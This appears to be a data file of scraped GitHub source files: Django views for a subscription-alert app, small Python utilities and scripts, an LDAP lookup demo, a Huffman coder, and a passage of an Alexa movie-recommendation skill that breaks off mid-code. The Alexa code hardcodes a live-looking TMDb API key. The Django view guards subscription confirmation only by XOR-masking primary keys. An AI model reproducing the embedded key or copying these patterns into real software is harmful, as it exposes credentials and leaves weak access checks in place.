messages[2],\n        'form': form,\n    }\n\n    return render(request, \"app/subscription.html\", c ) \n\n#@login_required\ndef confirm(request, masked_key):\n    #undo obfuscation\n    primary_key = int(masked_key) ^ OBFUSCATE\n\n    #Check if there is a valid object for this primary key\n    cat = get_object_or_404(Contacts, index_key=primary_key)\n\n    #Do validation:  Does object exist and is request outstanding?\n    c=Contacts.objects.get(pk=primary_key)\n    if c and c.request==True:\n            valid=True\n    else:\n        valid=False\n\n    #If validation passed, then send confirmation message\n    if valid == True:\n        #Update Contacts to reflect subscription\n        c.subscribe=True\n        c.save()\n\n\n        #Send okay message\n\n        c = {\n            'app_template': 'app/basic_template.html',\n            'logo_image' : logo_image,\n        }\n        return render(request, \"app/confirm.html\", c )\n\n    else:\n        #Failed, so send back to beginning.\n        form=LookupForm()\n\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n        'form': form,\n    }\n\n    return render(request, \"app/try_again.html\", c ) \n\n#@login_required\ndef cancel(request):\n    if request.method == \"POST\":\n        form = CancelForm(request.POST)\n        if form.is_valid():\n\n            #Capture fields from the form\n            email=form.cleaned_data['email']\n            mobile=form.cleaned_data['mobile']\n\n            #Check if email and mobile combination in database\n            success=cancel_subscription(email, mobile)\n\n            if success==True:\n                    #Cancellation worked.\n                        c = {\n                    'app_template': 'app/basic_template.html',\n                    'logo_image' : logo_image,\n                        }\n                        return render(request, \"app/gone.html\", c )\n\n            else:\n                #Cancellation failed\n                form = CancelForm()\n                message = \"We couldn't find that combination of email address and mobile number. Please try again.\"\n\n                c = {\n                        'app_template': 'app/basic_template.html',\n                        'logo_image' : logo_image,\n                        'message': message,\n                        'form': form,\n                    }\n\n                return render(request, \"app/cancel.html\", c )\n\n    else:\n        form = CancelForm()\n        message = \"Sorry to see you go! Please enter email and mobile number to discontinue alerts.\"\n        \n        c = {\n                'app_template': 'app/basic_template.html',\n                'logo_image' : logo_image,\n                'message': message,\n                'form': form,\n            }\n\n        return render(request, \"app/cancel.html\", c )\n\ndef about(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/about.html\", c )\n\ndef faq(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/faq.html\", c )\n\ndef terms(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/terms.html\", c )\n\ndef trash_talk(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/trash-talk.html\", c )\n\ndef share(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/share.html\", c )\n\n#@login_required\ndef test(request):\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n    }\n\n    return render(request, \"app/repairs.html\", c )\n\n#@login_required\ndef root_index(request):\n    return HttpResponseRedirect('./app/')\n\n@login_required\ndef success(request):\n    return HttpResponseRedirect('../app/index')\n\n#@login_required\ndef logout_view(request):\n    logout(request)\n    return HttpResponseRedirect('../')\n","repo_name":"hhummel/recyclobuddy","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18233679661","text":"import sys\nfrom os.path import splitext\nfrom PIL import Image,ImageOps\n\nif len(sys.argv) == 3:\n        extensions = [\".jpg\", \".jpeg\", \".png\"]\n        extension1 = splitext(sys.argv[1])\n        extension2 = splitext(sys.argv[2])\n        if extension1[1] == extension2[1] and extension1[1] in extensions:\n                try:\n                        BeforeImage = Image.open(sys.argv[1])\n                except FileNotFoundError:\n                        sys.exit(\"File not found\")\n        #Image.open\n                shirt = Image.open(\"shirt.png\")\n                size = shirt.size\n        #ImageOps.fit\n                muppet = ImageOps.fit(BeforeImage,size)\n        #Image.paste\n                muppet.paste(shirt, shirt)\n        #Image.save\n                muppet.save(sys.argv[2])\n\n        elif extension1[1].lower() != extension2[1].lower():\n                sys.exit(\"Input and output have different extensions\")\n        else:\n                sys.exit(\"Wrong Extension\")\n\nelif len(sys.argv) < 3:\n        sys.exit(\"Too few command-line arguments\")\nelif len(sys.argv) > 3:\n        sys.exit(\"Too many command-line arguments\")\nelse:\n    sys.exit(\"Invalid input\")","repo_name":"Sowmika-Pulagam/Harvard_CS50","sub_path":"shirt/shirt.py","file_name":"shirt.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36775368149","text":"import mysql.connector\nfrom dotenv import dotenv_values\n\nsecret = dotenv_values('.env')\n\ndef connectToDB():\n    dbconfig = {\n        \"host\": \"127.0.0.1\",\n        \"port\": 3306,\n        \"user\": secret[\"mysql_user\"], \n        \"password\": secret[\"mysql_pwd\"],\n        \"database\": \"taipei_trip\",\n    }\n    try:\n        connectionPool = mysql.connector.pooling.MySQLConnectionPool(pool_name=\"taipei_trip\", pool_size=5, **dbconfig)\n        print(\"建立connectionPool成功\")\n        return connectionPool\n    except Exception as ex:\n        print(\"建立connectionPool失敗...\\n錯誤訊息：\",ex)\n        return False    \n\nconnectionPool = connectToDB()\n\ndef connectDB():\n    if(connectionPool):\n        return connectionPool.get_connection()\n    else:\n        return False\n\ndef insert(execute_str:str, execute_args: tuple):\n    connection = connectDB()\n    if(not connection):\n        return False\n    \n    cursor = connection.cursor() \n    try:\n        print(\"開始執行insertData\")\n        cursor.execute(execute_str, execute_args)\n        connection.commit()\n    except Exception as ex:\n        print(f\"insert error msg = ${ex}\")\n        return False\n    finally:\n        cursor.close()\n        connection.close()\n    print(\"insert Data 成功！！\")\n    return True\n\ndef find(query_str, query_args=None):\n    connection = connectDB()\n    if(not connection):\n        return False\n    cursor = connection.cursor(dictionary=True)\n    try:\n        cursor.execute(query_str, query_args)\n        result = cursor.fetchall()\n    except Exception as ex:\n        print(f\"memberInfo查詢失敗，錯誤訊息為\\n${ex}\")\n        return False\n    finally:\n        cursor.close()\n        connection.close()\n    print(f\"dbConnector result = ${result}\")\n    if(result):\n        return result[0]\n    else:\n        return False\n    \ndef delete(execute_str: str, execute_args: tuple):\n    connection = connectDB()\n    if(not connection):\n        return False\n    cursor = connection.cursor()\n    try:\n        cursor.execute(execute_str, execute_args)\n        connection.commit()\n        print(\"刪除成功！\")\n    except Exception as e:\n        print(\"刪除失敗，錯誤訊息\\n\",e)\n        return False\n    finally:\n        cursor.close()\n        connection.close()\n        return True\n    \ndef update(execute_str: str, execute_args: tuple):\n    connection = connectDB()\n    if(not connection):\n        return False\n    cursor = connection.cursor()\n    try:\n        cursor.execute(execute_str, execute_args)\n    except Exception as e:\n        print(\"更新失敗，錯誤訊息\\n\",e)\n        return False\n    finally:\n        change_row = cursor.rowcount\n        if(change_row == 0):\n            print(\"更新失敗，尚未找到符合條件的目標。\")\n            return False\n        connection.commit()\n        print(\"更新成功！\")\n        cursor.close()\n        connection.close()\n        return True\n        \nif __name__ == '__main__':\n    pass\n\n\n","repo_name":"joeyliao127/Taipei_day_trip","sub_path":"packages/dbConnector.py","file_name":"dbConnector.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40058425","text":"import collections\nfrom collections.abc import Iterable\n\nfrom django.utils.module_loading import import_string\n\nfrom .models import EventType, EventSideEffectLog\n\n\nclass EventTypeRegister(collections.UserDict):\n    \"\"\"A dictionary mapping fully qualified event type values with the event type.\"\"\"\n\n    def __init__(self, event_type_classes):\n        super().__init__()\n        for event_type_class in event_type_classes:\n            event_type_enum = import_string(event_type_class)\n            for event_type in event_type_enum:\n                self.data[event_type.fully_qualified_value] = event_type\n\n\nRegisteredSideEffect = collections.namedtuple(\n    \"RegisteredSideEffect\", field_names=(\"callable\", \"condition\")\n)\n\n\nclass EventHandlerRegister:\n    \"\"\"Stores event handlers.\"\"\"\n\n    def __init__(self):\n        self.handlers = collections.defaultdict(lambda: [])\n        self.side_effects = collections.defaultdict(lambda: [])\n\n    def register(self, *, event_type):\n        def decorator(f):\n            if isinstance(event_type, EventType):\n                self.handlers[event_type].append(f)\n            elif isinstance(event_type, Iterable):\n                for type in event_type:\n                    self.handlers[type].append(f)\n            else:\n                raise TypeError(f\"Unknown event type: {event_type}\")\n\n            return f\n\n        return decorator\n\n    def register_side_effect(self, callable, *, condition=None):\n        def decorator(f):\n            self.side_effects[f].append(RegisteredSideEffect(callable, condition))\n            return f\n\n        return decorator\n\n    def _run_event_function(self, log, function, *args, **kwargs):\n        result = None\n        try:\n            result = function(*args, **kwargs)\n            log.status = log.Status.SUCCESS\n            log.message = str(result)\n        except Exception as error:\n            log.status = log.Status.FAILED\n            log.message = repr(error)\n        finally:\n            log.save()\n\n        return result\n\n    def handle(self, event, skip_side_effects=False):\n        for handler in self.handlers[event.type]:\n            handler_log = event.handler_logs.create_from_function(function=handler)\n            result = self._run_event_function(handler_log, handler, event)\n\n            if skip_side_effects or handler_log.failed:\n                continue\n\n            for registered_side_effect in self.side_effects[handler]:\n                condition_class = registered_side_effect.condition\n                should_run = (\n                    condition_class().has_condition(event) if condition_class else True\n                )\n                status = (\n                    EventSideEffectLog.Status.PROCESSING\n                    if should_run\n                    else EventSideEffectLog.Status.SKIPPED\n                )\n                side_effect_log = handler_log.side_effect_logs.create_from_function(\n                    function=registered_side_effect.callable, status=status\n                )\n\n                if should_run:\n                    self._run_event_function(\n                        side_effect_log, registered_side_effect.callable, result\n                    )\n","repo_name":"vikashtank/django-event-sourcing","sub_path":"django_event_sourcing/registers.py","file_name":"registers.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36603342642","text":"#!/usr/bin/env python3\n# pylint: disable=missing-docstring,import-error,invalid-name\n\nimport ldap\nimport ldap3\nimport ssl\n\n\ndef python_ldap():\n    print(\"python-ldap\")\n    l = ldap.initialize(\"ldaps://ldap.su.se\")  # noqa: E741\n\n    l.sasl_gssapi_bind_s()\n    print(\"whoami: {}\".format(l.whoami_s()))\n\n    result = l.search_s(base=\"\",\n                        scope=ldap.SCOPE_SUBTREE,\n                        filterstr=\"(uid=simlu)\",\n                        attrlist=[\"eduPersonAffiliation\", \"displayName\"])\n\n    for _dn, entry in result:\n        for attribute in entry:\n            print(\"attribute: {} is: {!r}\".format(\n                attribute,\n                # We need to decode the bytes to UTF-8 apparently\n                [a.decode(\"utf-8\") for a in entry[attribute]]))\n\n\ndef ldaptre():\n    print(\"ldap3\")\n    conn = ldap3.Connection(\n        server=ldap3.Server('ldap.su.se',\n            use_ssl=True,\n            tls=ldap3.Tls(\n                validate=ssl.CERT_REQUIRED,\n                )\n            ),\n        auto_bind=True,\n        authentication=ldap3.SASL,\n        sasl_mechanism=ldap3.GSSAPI,\n    )\n    print(\"whoami: {}\".format(conn.extend.standard.who_am_i()))\n    conn.search(search_base='',\n                search_scope=ldap3.SUBTREE,\n                search_filter='(uid=simlu)',\n                attributes=['eduPersonAffiliation', 'displayName'])\n    for entry in conn.entries:\n        for attribute in entry.entry_attributes:\n            print(\"attribute: {} is: {!r}\".format(attribute,\n                                                  entry[attribute].values))\n\n\ndef main():\n    python_ldap()\n    print(\"\")\n    ldaptre()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"simmel/affilaffe","sub_path":"affilaffe/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39845013158","text":"class Node:\r\n    def __init__(self, symbol, frequency, left=None, right=None) -> None:\r\n        self.symbol = symbol\r\n        self.frequency = frequency\r\n        self.left = left\r\n        self.right = right\r\n        self.code = \"\"\r\n\r\nclass Haff:\r\n    def create_nodes(self, frequency: dict) -> list[Node]:\r\n        nodes = []\r\n        for symbol in frequency:\r\n            nodes.append(Node(symbol, frequency[symbol]))\r\n        return nodes\r\n\r\n    def calculate_frequency(self, message: str) -> dict:\r\n        frequency = {}\r\n        for i in list(set(message)):\r\n            frequency[i] = message.count(i)\r\n        return frequency\r\n\r\n    def calculate_code(self, node: Node, code=\"\", codes={}) -> str:\r\n\r\n        code = code + str(node.code)\r\n\r\n        if node.left:\r\n            self.calculate_code(node.left, code, codes)\r\n        if node.right:\r\n            self.calculate_code(node.right, code, codes)\r\n\r\n        if not node.left and not node.right:\r\n            codes[node.symbol] = code\r\n\r\n        return codes\r\n\r\n    def replace_encoded(self, message: str, code_map: dict) -> dict:\r\n        for i in code_map:\r\n            message = message.replace(i, code_map[i])\r\n        return message\r\n\r\n    def decode(self, message: str, huffman_tree: Node):\r\n        tree_head = huffman_tree\r\n        decoded = \"\"\r\n\r\n        for i in message:\r\n            if i == '1':\r\n                huffman_tree = huffman_tree.right   \r\n            if i == '0':\r\n                huffman_tree = huffman_tree.left\r\n            try:\r\n                if huffman_tree.left.symbol == None and huffman_tree.right.symbol == None:\r\n                    pass\r\n            except AttributeError:\r\n                decoded += huffman_tree.symbol\r\n                huffman_tree = tree_head\r\n            \r\n        return decoded\r\n\r\n    def encode(self, message: str) -> str:\r\n        nodes = self.create_nodes(self.calculate_frequency(message))\r\n\r\n        while len(nodes) > 1:\r\n            nodes = sorted(nodes, key=lambda x: x.frequency)\r\n\r\n            right_node: Node = nodes[0]\r\n            left_node: Node = nodes[1]\r\n\r\n            right_node.code = 1\r\n            left_node.code = 0\r\n\r\n            new_node = Node(left_node.symbol + right_node.symbol, left_node.frequency + right_node.frequency, left_node, right_node)\r\n\r\n            nodes.remove(left_node)\r\n            nodes.remove(right_node)\r\n            nodes.append(new_node)\r\n        \r\n        self.haffman_tree = nodes[0]\r\n\r\n        return self.replace_encoded(message, self.calculate_code(self.haffman_tree))\r\n\r\n    def get_haffman_tree(self) -> Node:\r\n        return self.haffman_tree\r\n\r\nhaff = Haff()\r\n\r\nwith open(\"sixthMessage.txt\", \"r\", encoding=\"utf-8\") as file:\r\n    variable = file.read()\r\n\r\nprint(haff.encode(variable))\r\nprint(haff.decode(haff.encode(variable), haff.get_haffman_tree()))","repo_name":"THATISMYSTUDYACCOUNTIAMNOTSTREWDRAGON/university","sub_path":"3_theoretical_lab/sixthTask.py","file_name":"sixthTask.py","file_ext":"py","file_size_in_byte":2831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14377844506","text":"#!/usr/bin/python3\n\nfrom networkx import write_edgelist, write_weighted_edgelist\nimport os\nfrom utils import *\nfrom optparse import OptionParser\nfrom multiprocessing import Process\nfrom time import time\nfrom datetime import datetime\n\ndef main(n_start, n_count=1, n_inc=1, c_in_start=10, c_in_count=1, c_in_inc=1, c_out_start=5, c_out_count=1, c_out_inc=1, comm_count = 2, DC=False, i=0):\n    bp_uncertain = 'src/bp'\n\n    edge_frac = 1.\n    nonedge_mult = 5.\n    b = 2\n    trials = 2\n\n    os.makedirs('out', exist_ok=True)\n    os.makedirs('data', exist_ok=True)\n\n    for n in custom_range(n_start, n_count, n_inc):\n        for c_in in custom_range(c_in_start, c_in_count, c_in_inc):\n            for c_out in custom_range(c_out_start, c_out_count, c_out_inc):\n                original_net = 'data/original_net-%d-%f-%f-%f-%f-%f-%d.edges'%(n,c_in,c_out,b,edge_frac,nonedge_mult, i)\n                uncertain_net = 'data/noisy_net-%d-%f-%f-%f-%f-%f-%d.edges'%(n,c_in,c_out,b,edge_frac,nonedge_mult, i)\n                uncertain_comms = 'out/uncertain_comms-%d-%f-%f-%f-%f-%f-%d.out'%(n,c_in,c_out,b,edge_frac,nonedge_mult, i)\n \n                print(\"making and fuzzing network\")\n                G_orig = make_net(c_in, c_out, n)\n                write_edgelist(G_orig, original_net)\n                G, _ = fuzz_network(G_orig, 1, b, edge_frac, nonedge_mult)\n                write_weighted_edgelist(G, uncertain_net)\n \n                start1 = time()\n                print(\"running belief propagation\")\n                os.system('%s -i %s -o %s -c %d -l %d -n %d' % (bp_uncertain, uncertain_net, uncertain_comms, comm_count, 3, trials))\n                end1 = time()\n\n                with open('out/results.txt', 'a+') as out_file:\n                    out_file.write(\"%d %f %f\\t%f %f %f\\t %f %f\\t %s %d\\n\" %(n,\n                                    c_in, c_out,\n                                    b,edge_frac,nonedge_mult,\n                                    evaluate(uncertain_comms, n), end1-start1,\n                                    str(datetime.now()), i))\n\n\nif __name__ == '__main__':\n    # parse command line options\n    parser = OptionParser()\n    parser.add_option('-n', type=int, dest = 'n', help='number of nodes in network', default=2000)\n    parser.add_option('--c_in', type=float, dest = 'c_in', help='average within-community degree', default=40)\n    parser.add_option('--c_out', type=float, dest = 'c_out', help='average between-community degree', default=10)\n    parser.add_option('-k', type=int, dest = 'comm_count', help='number of communities', default=2)\n    parser.add_option('--iters', type=int, help='number of instances to run, multithreaded', default = 1)\n\n    (options, _) = parser.parse_args()\n\n    ps = []\n    # run multiple threads\n    for i in range(options.iters):\n        p = Process(target=main, args = (options.n, 1, 1, options.c_in, 1, 1, options.c_out, 1, 1, options.comm_count, False, i))\n        ps.append(p)\n        p.start()\n    for p in ps:\n        p.join()\n","repo_name":"nitramsivart/uncertain-networks","sub_path":"run_synthetic.py","file_name":"run_synthetic.py","file_ext":"py","file_size_in_byte":2995,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"1224960390","text":"import sys\r\n\r\nsys.setrecursionlimit(10**6)\r\ntable = dict()\r\n\r\n\r\ndef choose(n, r, mod=None):  # no mod, or mod ≠ prime\r\n    if r > n or r < 0:\r\n        return 0\r\n    if r == 0:\r\n        return 1\r\n    if (n, r) in table:\r\n        return table[(n, r)]\r\n    table[(n, r)] = choose(n - 1, r) + choose(n - 1, r - 1)\r\n    return table[(n, r)]\r\n\r\n\r\nn, *a = map(int, sys.stdin.read().split())\r\na += [0]\r\n\r\n\r\ndef main():\r\n    prev = 1001001001\r\n    cnt = 0\r\n    res = 0\r\n    for x in a:\r\n        if x <= prev:\r\n            res += choose(cnt, 2) + cnt\r\n            cnt = 1\r\n        else:\r\n            cnt += 1\r\n        prev = x\r\n    print(res)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/abc038/abc038_c/11764080.py","file_name":"11764080.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"8541421352","text":"# -*- coding: utf-8 -*-\n\n# This sample demonstrates handling intents from an Alexa skill using the Alexa Skills Kit SDK for Python.\n# Please visit https://alexa.design/cookbook for additional examples on implementing slots, dialog management,\n# session persistence, api calls, and more.\n# This sample is built using the handler classes approach in skill builder.\nimport logging\nimport ask_sdk_core.utils as ask_utils\n\nfrom ask_sdk_core.skill_builder import SkillBuilder\nfrom ask_sdk_core.dispatch_components import AbstractRequestHandler\nfrom ask_sdk_core.dispatch_components import AbstractExceptionHandler\nfrom ask_sdk_core.handler_input import HandlerInput\nfrom ask_sdk_model.intent import Intent\nfrom ask_sdk_model.dialog import (ElicitSlotDirective, DelegateDirective)\nfrom ask_sdk_model.dialog_state import DialogState\nfrom ask_sdk_model.slu.entityresolution.status_code import StatusCode\n\nfrom ask_sdk_model import Response\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n### api ###\nimport tmdbv3api\nfrom tmdbv3api import TMDb\n\nfrom tmdbv3api import Movie\nfrom tmdbv3api import Discover\nfrom tmdbv3api import Person\nfrom tmdbv3api import Search\nfrom tmdbv3api import Genre\n\ntmdb = TMDb()\ntmdb.api_key = '93a8c2d922b414294a124ef8dc9c2428'\n\n### firebase ###\nimport firebase_admin \nfrom firebase_admin import credentials, firestore\n\ncred = credentials.Certificate(\"firebase.json\")\nfirebase_admin.initialize_app(cred)\n\nfirestore_db = firestore.client()\n\n### canonical slot value constants ###\nFEEDBACK_POSITIVE = 'good'\nFEEDBACK_NEGATIVE = 'bad'\n\nRECOMMENDATION_ACCEPTED = \"Okay\"\nRECOMMENDATION_REJECTED = \"Something else\"\n\n### response templates ###\nSENTENCE_FEEDBACK_BEFORE_RECOMMENDATION = \"I'm happy to take a new recommendation request, but please give me feedback on my last recommendation first, which was the film {}. \"\nSENTENCE_NO_RECOMMENDATION_FOUND = \"I'm sorry. I was not able to find a {} recommendation available on your platforms based on your input. \"\nSENTENCE_MOVIE_NOT_FOUND = \"Hmm, I don't know the film {}. \"\nSENTENCE_ACTOR_NOT_FOUND = \"Sorry, I don't know the actor or actress {}. \"\nSENTENCE_GENRE_NOT_FOUND = \"Hmm, I don't recognize {} as a genre. \"\nSENTENCE_DID_NOT_UNDERSTAND = \"Sorry, I didn't get that. \"\nSENTENCE_RECOMMENDATION_ACCEPTED = \"Great! Enjoy the film! \"\nSENTENCE_ANOTHER_RECOMMENDATION =  \"Okay. \"\nSENTENCE_CANCELED = \"Okay, maybe another time. \"\nSENTENCE_FEEDBACK_ACCEPTED = \"Alright, I will try to work your feedback into my next recommendations. \"\nSENTENCE_BACK_TO_RECOMMENDATION = \"Back to your recommendation request... \"\nSENTENCE_FEEDBACK_WAS_POSITIVE = \"Great to hear! \"\nSENTENCE_FEEDBACK_WAS_NEGATIVE = \"I'm sorry to hear that. \"\n\nPROMPT_TRY_AGAIN = \"Why don't you try again with a different request? If you need help, just say: Help. \"\nPROMPT_MOVIE_NOT_FOUND = \"Please tell me the movie's official English title. \"\nPROMPT_ACTOR_NOT_FOUND = \"Please use their commonly known name. \"\nPROMPT_GENRE_NOT_FOUND = \"Try a more common synonym or a more widely known genre. \"\nPROMPT_RECOMMENDATION_CONFIRMATION = \"You can say Okay to accept this recommendation or request another one by saying: Another one. To cancel, just say Stop. \"\nPROMPT_ANOTHER_RECOMMENDATION = \"How about this one? \"\nPROMPT_FEEDBACK_ASPECTS = \"What specifically {} you like about {}? That could be the acting, the story, or the setting of the movie. \"\n\n### other templates ###\nDELDIR_FEEDBACK = DelegateDirective(Intent(\n    name=\"feedbackIntent\",\n    slots={\n        \"feedbackGeneral\": {\n            \"name\": \"feedbackGeneral\"\n        },\n        \"feedbackAspects\": {\n            \"name\": \"feedbackAspects\"\n        }\n    }\n))\n\ndef makeESDir(slotname, intent=None):\n    if intent:\n        return (ElicitSlotDirective(\n                slot_to_elicit = slotname,\n                updated_intent = intent\n            ))\n    else:\n        return (ElicitSlotDirective(\n                slot_to_elicit = slotname\n            ))\n\n\n### own functions ###\nfrom sentimentAnalysis import *\nfrom recommender_functions import *\nfrom user_firebase_functions import *\nfrom movie_api_functions import *\n\nclass LaunchRequestHandler(AbstractRequestHandler):\n    \"\"\"Handler for Skill Launch.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_request_type(\"LaunchRequest\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n\n        responseBuilder = handler_input.response_builder\n        userID = str(handler_input.request_envelope.context.system.user.user_id)\n        speak_output = \"Welcome to Movie Tips! \"\n        \n        if check_user_exists_by_id(userID):\n            speak_output = \"Welcome back {}! \".format(get_username_by_id(userID))\n            if is_last_watched_movie_rated_by_id(userID):\n                speak_output += \"Do you want me to recommend a movie? If so, just say: Recommend something.\"\n                responseBuilder.speak(speak_output).ask(speak_output)\n            else:\n                speak_output += \"I see you haven't rated my last recommendation yet, which was the film {}. Let's do that now! \".format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n        else:\n            speak_output += \"I see you haven't set up a profile yet. Let's do that now! \"\n            responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                    name=\"setupIntent\" #weirdly enough, we don't have to pass the slots here and it works anyway... as opposed to the feedbackIntent which has Alexa completely checking out after the first prompt unless the slots are given. What even is this madness\n                )))\n        \n        return responseBuilder.response\n\n\n\nclass RecommendationByMovieIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Recommendation by Movie Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"recommendationIntent_byMovie\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        userID = handler_input.request_envelope.context.system.user.user_id\n        slot_movie = intent.slots[\"movieTitle\"]\n        slot_confirmation = intent.slots[\"recommendationOK\"]\n        \n        if request.dialog_state == DialogState.STARTED or slot_movie.value is None:\n            if is_last_watched_movie_rated_by_id(userID):\n                \n                #resolve \"my favorite movie\" if necessary\n                resolution = slot_movie.resolutions.resolutions_per_authority[0]\n                if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                    resolvedSlotID = resolution.values[0].value.id\n                    if resolvedSlotID == \"FAV\":\n                        slot_movie.value = get_favourite_movie_by_id(userID)\n                \n                movieID = getMovieID(slot_movie.value)\n                movieName = getMovieName(movieID)\n                \n                if movieID == 0:\n                    speak_output = SENTENCE_MOVIE_NOT_FOUND.format(slot_movie.value)\n                    prompt_output = PROMPT_MOVIE_NOT_FOUND\n                    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"movieTitle\"))\n                else:\n                    slot_movie.value = movieName\n                    \n                    rec = recommendationSentenceFromMovieInput(userID, movieName)\n                    if rec['success']:\n                        speak_output = rec['sentence']\n                        responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                \n            else:\n                speak_output = SENTENCE_FEEDBACK_BEFORE_RECOMMENDATION.format(get_last_watched_movie_by_id(userID))\n                responseBuilder.speak(speak_output).add_directive(DELDIR_FEEDBACK)\n            \n        \n        elif request.dialog_state == DialogState.IN_PROGRESS: #confirmation given for recommendation\n            resolution = slot_confirmation.resolutions.resolutions_per_authority[0]\n            \n            if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                resolvedSlotName = resolution.values[0].value.name\n                inputVal = resolvedSlotName\n                slot_confirmation.value = inputVal\n                if inputVal == RECOMMENDATION_ACCEPTED:\n                    responseBuilder.add_directive(DelegateDirective(intent))\n                elif inputVal == RECOMMENDATION_REJECTED:\n                    rec = recommendationSentenceFromMovieInput(userID, slot_movie.value)\n                    if rec['success']:\n                        speak_output = SENTENCE_ANOTHER_RECOMMENDATION\n                        prompt_output = PROMPT_ANOTHER_RECOMMENDATION+rec['sentence']+\" \"+PROMPT_RECOMMENDATION_CONFIRMATION\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n                    else:\n                        speak_output = SENTENCE_NO_RECOMMENDATION_FOUND.format(\"new\")\n                        prompt_output = PROMPT_TRY_AGAIN\n                        responseBuilder.speak(speak_output+prompt_output).ask(prompt_output)\n                    \n                else: #We're told to cancel/stop\n                    speak_output = SENTENCE_CANCELED\n                    responseBuilder.speak(speak_output).add_directive(DelegateDirective(Intent(\n                        name=\"AMAZON.CancelIntent\"\n                    )))\n            else:\n                speak_output = SENTENCE_DID_NOT_UNDERSTAND\n                prompt_output = PROMPT_RECOMMENDATION_CONFIRMATION\n                responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"recommendationOK\"))\n            \n        else: #request.dialog_state == DialogState.COMPLETED; we have a green light on the recommendation at this point\n            acceptRecommendation(userID)\n            speak_output = SENTENCE_RECOMMENDATION_ACCEPTED\n            responseBuilder.speak(speak_output)\n        \n        return responseBuilder.response\n\n\nclass RecommendationByActorIntentHandler(AbstractRequestHandler):\n    \"\"\"Handler for Recommendation by Actor Intent.\"\"\"\n    def can_handle(self, handler_input):\n        # type: (HandlerInput) -> bool\n        return ask_utils.is_intent_name(\"recommendationIntent_byActor\")(handler_input)\n\n    def handle(self, handler_input):\n        # type: (HandlerInput) -> Response\n        request = handler_input.request_envelope.request\n        intent = request.intent\n        responseBuilder = handler_input.response_builder\n        sessionAttribs = handler_input.attributes_manager.session_attributes\n        \n        userID = handler_input.request_envelope.context.system.user.user_id\n        slot_actor = intent.slots[\"actor\"]\n        slot_confirmation = intent.slots[\"recommendationOK\"]\n        \n        if request.dialog_state == DialogState.STARTED or slot_actor.value is None:\n            if is_last_watched_movie_rated_by_id(userID):\n                \n                #resolve \"my favorite actor\" if necessary\n                resolution = slot_actor.resolutions.resolutions_per_authority[0]\n                if resolution.status.code == StatusCode.ER_SUCCESS_MATCH:\n                    resolvedSlotID = resolution.values[0].value.id\n                    if resolvedSlotID == \"FAV\":\n                        slot_actor.value = get_favourite_actress_by_id(userID)\n                \n                actorID = getActressId(slot_actor.value)\n                actorName = getActressName(actorID)\n                \n                if actorID == 0:\n                    speak_output = SENTENCE_ACTOR_NOT_FOUND.format(slot_actor.value)\n                    prompt_output = PROMPT_ACTOR_NOT_FOUND\n                    responseBuilder.speak(speak_output+prompt_output).ask(prompt_output).add_directive(makeESDir(\"actor\"))\n                else:\n                    slot_actor.value = actorName\n\n                    rec = recommendationSentenceFromActressInput(userID, actorName)\n                    if rec['success']:\n                        speak_output = rec['sentence']\n                        responseBuilder.speak(speak_output).add_directive(DelegateDirective(intent))\n                    else:\n                        speak_output = 